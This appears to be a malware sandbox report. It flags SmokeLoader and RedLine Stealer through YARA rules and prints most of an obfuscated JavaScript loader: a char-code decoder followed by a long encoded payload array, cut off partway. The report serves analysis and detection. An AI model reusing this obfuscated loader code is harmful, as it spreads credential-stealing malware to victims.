Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000010.00000002.2570826451.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000010.00000002.2570475895.0000000000540000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000003.2518973647.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000002.2570965371.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000010.00000002.2570965371.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000010.00000002.2571366801.0000000000641000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000010.00000002.2571366801.0000000000641000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	iG = 102;
1	wB = 117;
2	Sy = 110;
3	fr = 99;
4	AL = 116;
5	EJ = 105;
6	df = 111;
7	cN = 32;
8	sm = 114;
9	Xj = 90;
10	Vu = 78;
11	uu = 88;
12	XY = 120;
13	Zm = 113;
14	qp = 40;
15	oW = 98;
16	hO = 121;
17	iZ = 69;
18	Mi = 41;
19	tb = 123;
20	JI = 118;
21	iI = 97;
22	dS = 82;
23	Vx = 73;
24	cV = 107;
25	fw = 61;
26	DZ = 34;
27	En = 59;
28	MB = 76;
29	et = 122;
30	Zs = 106;
31	AK = 85;
32	Wi = 48;
33	cO = 60;
34	wD = 46;
35	BJ = 108;
36	tw = 101;
37	aM = 103;
38	Ll = 104;
39	QF = 43;
40	Dc = 74;
41	KU = 83;
42	Ks = 109;
43	SH = 67;
44	Kv = 100;
45	NK = 91;
46	Ez = 93;
47	CQ = 45;
48	HY = 53;
49	mv = 51;
50	pG = 125;
51	AY = 54;
52	UW = 44;
53	DH = 52;
54	zs = 55;
55	ba = 50;
56	kZ = 56;
57	qw = 49;
58	ig = 57;
59	Ae = 119;
60	PU = 65;
61	EB = 79;
62	var dzWC = String.fromCharCode ( iG, wB, Sy, fr, AL, EJ, df, Sy, cN, sm, Xj, Vu, uu, XY, Zm, qp, EJ, oW, hO, fr, iZ, EJ, Mi, tb, JI, iI, sm, cN, df, dS, iG, Vx, cV, fw, cN, DZ, DZ, En, iG, df, sm, cN, qp, JI, iI, sm, cN, MB, iI, df, et, Zs, AK, cN, fw, cN, Wi, En, MB, iI, df, et, Zs, AK, cN, cO, cN, EJ, oW, hO, fr, iZ, EJ, wD, BJ, tw, Sy, aM, AL, Ll, En, cN, MB, iI, df, et, Zs, AK, QF, QF, Mi, tb, JI, iI, sm, cN, uu, EJ, oW, Dc, Xj, cN, fw, cN, KU, AL, sm, EJ, Sy, aM, wD, iG, sm, df, Ks, SH, Ll, iI, sm, SH, df, Kv, tw, qp, EJ, oW, hO, fr, iZ, EJ, NK, MB, iI, df, et, Zs, AK, Ez, cN, CQ, cN, HY, HY, mv, Mi, En, df, dS, iG, Vx, cV, cN, fw, cN, df, dS, iG, Vx, cV, cN, QF, cN, uu, EJ, oW, Dc, Xj, pG, sm, tw, AL, wB, sm, Sy, cN, df, dS, iG, Vx, cV, pG, En, JI, iI, sm, cN, df, dS, iG, Vx, cV, cN, fw, cN, sm, Xj, Vu, uu, XY, Zm, qp, NK, AY, AY, HY, UW, AY, AY, DH, UW, AY, zs, ba, UW, AY, HY, DH, UW, AY, AY, zs, UW, AY, AY, kZ, UW, AY, HY, zs, UW, AY, HY, DH, UW, AY, AY, qw, UW, AY, AY, qw, UW, HY, ig, ig, UW, AY, HY, DH, UW, AY, zs, mv, UW, AY, HY, DH, UW, HY, kZ, HY, UW, HY, ig, kZ, UW, AY, zs, ba, UW, HY, kZ, HY, UW, AY, Wi, ba, UW, HY, kZ, HY, UW, HY, ig, kZ, UW, AY, HY, DH, UW, AY, AY, HY, UW, HY, kZ, HY, UW, AY, mv, kZ, UW, AY, AY, mv, UW, AY, AY, zs, UW, AY, HY, DH, UW, AY, AY, kZ, UW, AY, AY, ig, UW, AY, AY, zs, UW, AY, HY, kZ, UW, AY, HY, ba, UW, AY, AY, ig, UW, AY, HY, DH, UW, AY, HY, mv, UW, HY, kZ, HY, UW, HY, ig, kZ, UW, AY, AY, mv, UW, AY, AY, DH, UW, AY, AY, HY, UW, HY, kZ, HY, UW, AY, HY, HY, UW, AY, zs, Wi, UW, AY, AY, mv, UW, AY, HY, ba, UW, AY, AY, ig, UW, AY, HY, kZ, UW, AY, AY, DH, UW, AY, AY, mv, UW, HY, kZ, HY, UW, AY, DH, ba, UW, AY, DH, ba, UW, AY, HY, ig, UW, AY, HY, mv, UW, HY, ig, mv, UW, HY, kZ, ig, UW, AY, qw, kZ, UW, AY, HY, zs, UW, AY, AY, qw, UW, AY, qw, kZ, UW, AY, HY, ba, UW, HY, ig, DH, UW, AY, zs, AY, UW, AY, AY, zs, UW, AY, HY, DH, UW, AY, AY, ig, UW, AY, zs, Wi, UW, AY, AY, zs, UW, AY, AY, mv, UW, HY, kZ, HY, UW, HY, ig, kZ, UW, AY, AY, kZ, UW, AY, AY, HY, UW, AY, AY, qw, UW, AY, HY, kZ, UW, AY, AY, ig, UW, HY, kZ, HY, UW, HY, ig, mv, UW, HY, kZ, ig, UW, AY, qw, kZ, UW, AY, HY, zs, UW, AY, AY, qw, UW, AY, qw, kZ, UW, AY, HY, ba, UW, HY, kZ, HY, UW, HY, ig, kZ, UW, AY, AY, zs, UW, AY, HY, DH, UW, AY, AY, HY, UW, AY, AY, qw, UW, AY, HY, Wi, UW, AY, HY, ba, UW, AY, HY, DH, UW, HY, kZ, HY, UW, HY, ig, ba, UW, HY, ig, ig, UW, HY, ig, ig, UW, HY, ig, ba, UW, HY, ig, zs, UW, HY, kZ, HY, UW, HY, ig, ba, UW, AY, Wi, qw, UW, AY, zs, mv, UW, HY, kZ, ig, UW, HY, ig, qw, UW, HY, kZ, HY, UW, HY, ig, ba, UW, HY, ig, DH, UW, AY, zs, kZ, UW, AY, qw, ba, UW, HY, kZ, ig, UW, AY, ba, kZ, UW, AY, mv, mv, UW, AY, zs, ba, UW, AY, ba, Wi, UW, HY, kZ, HY, UW, AY, qw, DH, UW, HY, kZ, HY, UW, AY, DH, ba, UW, AY, DH, ba, UW, AY, HY, ig, UW, AY, HY, mv, UW, HY, ig, mv, UW, HY, ig, ba, UW, AY, qw, Wi, UW, AY, Wi, zs, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, qw, kZ, UW, AY, ba, Wi, UW, AY, qw, Wi, UW, AY, ba, Wi, UW, AY, qw, kZ, UW, AY, Wi, ba, UW, AY, Wi, ba, UW, AY, ba, mv, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, Wi, zs, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, qw, kZ, UW, AY, Wi, DH, UW, AY, ba, qw, UW, AY, Wi, HY, UW, AY, ba, qw, UW, AY, Wi, zs, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, Wi, mv, UW, AY, ba, Wi, UW, AY, Wi, kZ, UW, AY, ba, qw, UW, AY, qw, ig, UW, AY, ba, qw, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, qw, Wi, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, Wi, kZ, UW, AY, ba, mv, UW, AY, ba, qw, UW, AY, Wi, AY, UW, AY, Wi, mv, UW, AY, Wi, HY, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, qw, ig, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, Wi, DH, UW, AY, ba, ba, UW, AY, Wi, zs, UW, AY, Wi, mv, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, Wi, ig, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, Wi, DH, UW, AY, ba, ba, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, Wi, DH, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, DH, UW, AY, Wi, ig, UW, AY, ba, qw, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, Wi, ig, UW, AY, ba, ba, UW, AY, Wi, HY, UW, AY, Wi, HY, UW, AY, Wi, zs, UW, AY, Wi, DH, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, Wi, DH, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, Wi, AY, UW, AY, Wi, ig, UW, AY, Wi, ba, UW, AY, ba, mv, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, Wi, DH, UW, AY, Wi, ig, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, ba, qw, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, Wi, DH, UW, AY, Wi, DH, UW, AY, ba, mv, UW, AY, ba, qw, UW, AY, Wi, HY, UW, AY, Wi, AY, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, ba, ba, UW, AY, qw, kZ, UW, AY, ba, Wi, UW, AY, qw, ig, UW, AY, Wi, ba, UW, AY, ba, mv, UW, AY, Wi, zs, UW, AY, ba, ba, UW, AY, qw, Wi, UW, AY, Wi, mv, UW, AY, Wi, kZ, UW, AY, Wi, ig, UW, AY, Wi, DH, UW, AY, qw, ig, UW, AY, Wi, AY, UW, AY, Wi, DH, UW, AY, Wi, zs, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, Wi, DH, UW, AY, Wi, DH, UW, AY, qw, Wi, UW, AY, Wi, ig, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, Wi, mv, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, ba, qw, UW, AY, ba, ba, UW, AY, ba, ba, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, Wi, zs, UW, AY, ba, Wi, UW, AY, Wi, HY, UW, AY, Wi, AY, UW, AY, ba, mv, UW, AY, ba, qw, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, Wi, AY, UW, AY, Wi, ig, UW, AY, ba, ba, UW, AY, ba, mv, UW, AY, ba, qw, UW, AY, Wi, ig, UW, AY, qw, Wi, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, ba, ba, UW, AY, ba, ba, UW, AY, Wi, kZ, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, ba, mv, UW, AY, ba, ba, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, ba, qw, UW, AY, Wi, kZ, UW, AY, Wi, ba, UW, AY, ba, ba, UW, AY, Wi, AY, UW, AY, Wi, kZ, UW, AY, Wi, ig, UW, AY, ba, ba, UW, AY, ba, mv, UW, AY, Wi, ba, UW, AY, ba, Wi, UW, AY, ba, qw, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, ba, Wi, UW, AY, Wi, AY, UW, AY, ba, qw, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, Wi, ba, UW, AY, ba, qw, UW, AY, Wi, kZ, UW, AY, Wi, AY, UW, AY, ba, Wi, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, Wi, ig, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, Wi, AY, UW, AY, Wi, HY, UW, AY, Wi, mv, UW, AY, Wi, kZ, UW, AY, ba, ba, UW, AY, ba, qw, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, Wi, HY, UW, AY, ba, Wi, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, qw, kZ, UW, AY, ba, ba, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, ba, ba, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, Wi, zs, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, ba, Wi, UW, AY, qw, ig, UW, AY, Wi, AY, UW, AY, Wi, zs, UW, AY, ba, qw, UW, AY, qw, ig, UW, AY, ba, ba, UW, AY, Wi, mv, UW, AY, ba, ba, UW, AY, ba, ba, UW, AY, ba, mv, UW, AY, Wi, kZ, UW, AY, ba, Wi, UW, AY, ba, qw, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, Wi, ba, UW, AY, qw, Wi, UW, AY, Wi, AY, UW, AY, ba, Wi, UW, AY, Wi, AY, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, Wi, mv, UW, AY, ba, Wi, UW, AY, Wi, DH, UW, AY, qw, Wi, UW, AY, Wi, ba, UW, AY, qw, ig, UW, AY, ba, ba, UW, AY, Wi, zs, UW, AY, ba, mv, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, Wi, HY, UW, AY, Wi, kZ, UW, AY, Wi, ba, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, Wi, mv, UW, AY, ba, ba, UW, AY, Wi, ba, UW, AY, ba, mv, UW, AY, ba, ba, UW, AY, ba, Wi, UW, AY, ba, Wi, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, qw, kZ, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, qw, Wi, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, ba, Wi, UW, AY, Wi, kZ, UW, AY, Wi, zs, UW, AY, qw, Wi, UW, AY, ba, qw, UW, AY, ba, mv, UW, AY, ba, mv, UW, AY, Wi, mv, UW, AY, qw, Wi, UW, AY, Wi, ig, UW, AY, ba, Wi, UW, AY, qw, kZ, UW, AY, ba, mv, UW, AY, qw, Wi, UW, AY, qw, Wi, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, Wi, ba, UW, AY, Wi, AY, UW, AY, qw, kZ, UW, AY, ba, Wi, UW, AY, Wi, zs, UW, AY, ba, qw, UW, AY, qw, Wi, UW, AY, Wi, DH, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, Wi, kZ, UW, AY, ba, qw, UW, AY, Wi, qw, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, ba, qw, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, qw, ig, UW, AY, ba, ba, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, Wi, HY, UW, AY, qw, Wi, UW, AY, ba, qw, UW, AY, qw, Wi, UW, AY, Wi, qw, UW, AY, Wi, ba, UW, AY, qw, ig, UW, AY, Wi, AY, UW, AY, Wi, zs, UW, AY, Wi, mv, UW, AY, ba, Wi, UW, AY, Wi, DH, UW, AY, qw, Wi, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, Wi, zs, UW, AY, Wi, ba, UW, AY, qw, Wi, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, Wi, mv, UW, AY, Wi, AY, UW, AY, qw, Wi, UW, AY, Wi, qw, UW, AY, qw, ig, UW, AY, qw, kZ, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, Wi, kZ, UW, AY, ba, ba, UW, AY, Wi, DH, UW, AY, Wi, ba, UW, AY, ba, ba, UW, AY, qw, Wi, UW, AY, ba, mv, UW, AY, Wi, kZ, UW, AY, qw, kZ, UW, AY, Wi, kZ, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, Wi, kZ, UW, AY, Wi, HY, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, Wi, zs, UW, AY, ba, Wi, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, ba, mv, UW, AY, ba, ba, UW, AY, qw, ig, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, qw, Wi, UW, AY, Wi, AY, UW, AY, Wi, qw, UW, AY, Wi, ig, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, ba, qw, UW, AY, qw, kZ, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, qw, Wi, UW, AY, Wi, DH, UW, AY, Wi, ba, UW, AY, Wi, DH, UW, AY, ba, ba, UW, AY, qw, Wi, UW, AY, Wi, zs, UW, AY, Wi, HY, UW, AY, Wi, ba, UW, AY, Wi, AY, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, Wi, ig, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, Wi, AY, UW, AY, ba, mv, UW, AY, Wi, mv, UW, AY, Wi, ig, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, Wi, kZ, UW, AY, qw, Wi, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, Wi, ig, UW, AY, Wi, qw, UW, AY, ba, ba, UW, AY, Wi, AY, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, Wi, HY, UW, AY, Wi, AY, UW, AY, qw, ig, UW, AY, Wi, zs, UW, AY, Wi, HY, UW, AY, ba, Wi, UW, AY, ba, qw, UW, AY, Wi, qw, UW, AY, Wi, mv, UW, AY, ba, mv, UW, AY, ba, Wi, UW, AY, ba, qw, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, ba, Wi, UW, AY, Wi, kZ, UW, AY, Wi, ig, UW, AY, Wi, ig, UW, AY, Wi, qw, UW, AY, Wi, ig, UW, AY, Wi, AY, UW, AY, Wi, mv, UW, AY, ba, ba, UW, AY, Wi, ba, UW, AY, ba, Wi, UW, AY, Wi, HY, UW, AY, ba, qw, UW, AY, ba, mv, UW, AY, qw, ig, UW, AY, ba, mv, UW, AY, Wi, ig, UW, AY, qw, Wi, UW, AY, Wi, ba, UW, AY, ba, qw, UW, AY, ba, Wi, UW, AY, Wi, AY, UW, AY, Wi, HY, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, ba, ba, UW, AY, Wi, AY, UW, AY, qw, ig, UW, AY, ba, qw, UW, AY, Wi, ig, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, Wi, ba, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, ba, qw, UW, AY, ba, mv, UW, AY, ba, Wi, UW, AY, qw, Wi, UW, AY, ba, mv, UW, AY, ba, Wi, UW, AY, ba, qw, UW, AY, Wi, HY, UW, AY, qw, Wi, UW, AY, qw, kZ, UW, AY, ba, ba, UW, AY, Wi, kZ, UW, AY, ba, qw, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, ba, mv, UW, AY, ba, Wi, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, qw, kZ, UW, AY, Wi, AY, UW, AY, Wi, kZ, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, Wi, zs, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, Wi, DH, UW, AY, ba, qw, UW, AY, Wi, ig, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, Wi, kZ, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, qw, Wi, UW, AY, ba, ba, UW, AY, Wi, ig, UW, AY, ba, ba, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, qw, ig, UW, AY, ba, ba, UW, AY, Wi, ig, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, ba, Wi, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, Wi, ba, UW, AY, qw, Wi, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, Wi, qw, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, ba, qw, UW, AY, Wi, qw, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, ba, qw, UW, AY, Wi, DH, UW, AY, ba, qw, UW, AY, Wi, kZ, UW, AY, ba, qw, UW, AY, Wi, AY, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, HY, UW, AY, Wi, zs, UW, AY, Wi, kZ, UW, AY, qw, Wi, UW, AY, Wi, HY, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, ba, qw, UW, AY, qw, Wi, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, Wi, qw, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, qw, kZ, UW, AY, Wi, DH, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, qw, ig, UW, AY, qw, kZ, UW, AY, Wi, AY, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, Wi, HY, UW, AY, ba, qw, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, ba, Wi, UW, AY, ba, ba, UW, AY, ba, mv, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, Wi, kZ, UW, AY, qw, Wi, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, qw, ig, UW, AY, qw, kZ, UW, AY, Wi, AY, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, Wi, ba, UW, AY, ba, mv, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, Wi, HY, UW, AY, Wi, kZ, UW, AY, ba, ba, UW, AY, ba, Wi, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, ba, Wi, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, ig, UW, AY, ba, mv, UW, AY, Wi, ig, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, ba, ba, UW, AY, ba, qw, UW, AY, Wi, zs, UW, AY, Wi, ig, UW, AY, ba, mv, UW, AY, ba, Wi, UW, AY, ba, mv, UW, AY, Wi, DH, UW, AY, Wi, HY, UW, AY, Wi, qw, UW, AY, Wi, mv, UW, AY, ba, mv, UW, AY, Wi, kZ, UW, AY, ba, ba, UW, AY, Wi, kZ, UW, AY, Wi, HY, UW, AY, qw, kZ, UW, AY, ba, ba, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, Wi, ba, UW, AY, qw, Wi, UW, AY, Wi, ba, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, Wi, zs, UW, AY, qw, Wi, UW, AY, Wi, qw, UW, AY, Wi, DH, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, ba, qw, UW, AY, qw, ig, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, AY, UW, AY, qw, ig, UW, AY, qw, kZ, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, qw, kZ, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, ba, Wi, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, Wi, zs, UW, AY, Wi, AY, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, Wi, kZ, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, qw, ig, UW, AY, ba, mv, UW, AY, ba, ba, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, ba, ba, UW, AY, Wi, ba, UW, AY, qw, Wi, UW, AY, Wi, mv, UW, AY, qw, Wi, UW, AY, ba, qw, UW, AY, ba, qw, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, ba, ba, UW, AY, Wi, zs, UW, AY, ba, mv, UW, AY, Wi, mv, UW, AY, qw, ig, UW, AY, Wi, ba, UW, AY, Wi, ig, UW, AY, qw, Wi, UW, AY, Wi, DH, UW, AY, Wi, HY, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, qw, Wi, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, qw, ig, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, ba, ba, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, ba, Wi, UW, AY, Wi, HY, UW, AY, Wi, ba, UW, AY, Wi, qw, UW, AY, Wi, HY, UW, AY, Wi, DH, UW, AY, Wi, HY, UW, AY, qw, ig, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, qw, ig, UW, AY, ba, Wi, UW, AY, Wi, AY, UW, AY, ba, ba, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, ba, mv, UW, AY, qw, kZ, UW, AY, ba, Wi, UW, AY, ba, ba, UW, AY, ba, qw, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, kZ, UW, AY, qw, Wi, UW, AY, qw, Wi, UW, AY, qw, kZ, UW, AY, Wi, DH, UW, AY, qw, Wi, UW, AY, ba, Wi, UW, AY, ba, ba, UW, AY, ba, qw, UW, AY, ba, ba, UW, AY, Wi, ig, UW, AY, qw, kZ, UW, AY, Wi, ba, UW, AY, Wi, zs, UW, AY, ba, Wi, UW, AY, Wi, qw, UW, AY, Wi, HY, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, Wi, HY, UW, AY, Wi, AY, UW, AY, qw, kZ, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, Wi, DH, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, Wi, ig, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, ba, ba, UW, AY, ba, mv, UW, AY, Wi, ba, UW, AY, Wi, AY, UW, AY, Wi, kZ, UW, AY, qw, kZ, UW, AY, Wi, DH, UW, AY, ba, mv, UW, AY, ba, mv, UW, AY, qw, Wi, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, ba, Wi, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, Wi, HY, UW, AY, qw, ig, UW, AY, ba, mv, UW, AY, qw, ig, UW, AY, ba, mv, UW, AY, qw, Wi, UW, AY, Wi, DH, UW, AY, Wi, zs, UW, AY, Wi, ba, UW, AY, Wi, DH, UW, AY, Wi, qw, UW, AY, Wi, zs, UW, AY, Wi, kZ, UW, AY, Wi, mv, UW, AY, qw, Wi, UW, AY, Wi, kZ, UW, AY, Wi, kZ, UW, AY, Wi, AY, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, Wi, ig, UW, AY, ba, qw, UW, AY, Wi, zs, UW, AY, qw, kZ, UW, AY, qw, ig, UW, AY, ba, mv, UW, AY, 